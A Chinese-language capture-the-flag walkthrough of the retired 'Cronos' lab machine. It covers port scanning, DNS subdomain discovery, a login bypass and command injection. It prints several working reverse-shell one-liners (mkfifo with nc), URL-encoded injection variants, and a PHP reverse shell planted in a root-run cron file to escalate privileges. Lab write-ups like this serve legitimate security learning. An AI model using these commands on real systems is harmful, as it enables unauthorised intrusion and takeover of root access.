本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.13
nmap -sV -sC -p- -T5 -oN cronos.nmap 10.10.10.13
nmap扫描结果
根据扫描结果开放了3个端口,奇怪的是还有dns服务,瞬间觉得跟解析有关,而且既然是跟dns有关,那么可能逃不开DNS区域传送之类的漏洞,所以本地绑定hosts 继续搞
发现有个admin域名,加进去继续搞
然后访问80端口的域名
是个登录界面,试了下万能密码居然就进去了
进去之后根据经验就知道有命令执行漏洞,玩过DVWA的就知道了,所以测试下验证结果
确认没有问题,直接反弹shell,这里试了下直接使用nc进行反弹shell,有问题,需要使用不带nc参数-e的反弹命令进行反弹,当然这里也发现有python环境,反弹姿势很多
反弹shell形式,nc没有参数e的时候执行
rm -rf /tmp/p; mknod /tmp/p p; /bin/sh 0</tmp/p | nc 10.10.14.4 8833 1>/tmp/p
其他形式的没有nc参数e的反弹命令
正常命令:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.41 1234 >/tmp/f
写法1:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>%261|nc 10.10.14.41 1234 >/tmp/f
写法2:rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.41+1234+>/tmp/f
上面因为&会被用于分割两个参数,所以要把&符号转义成%26
成功反弹shell之后,使用 https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh 枚举操作系统可以提权的信息,确认一个计划任务是使用root执行,可以更改此计划任务执行反弹shell进行提权
得到上面计划任务提权的方式,就更改文件artisan即可提权成功,下面是基本的两种方式
可以使用下面两种 执行php反弹shell 1. 使用pipe通道稳定反弹 echo '<?php $sock = fsockopen("10.10.14.41",1337);$proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);?>' > /var/www/laravel/artisan 2. 使用php-reverse-shell反弹shell https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
提权成功拿到flag.txt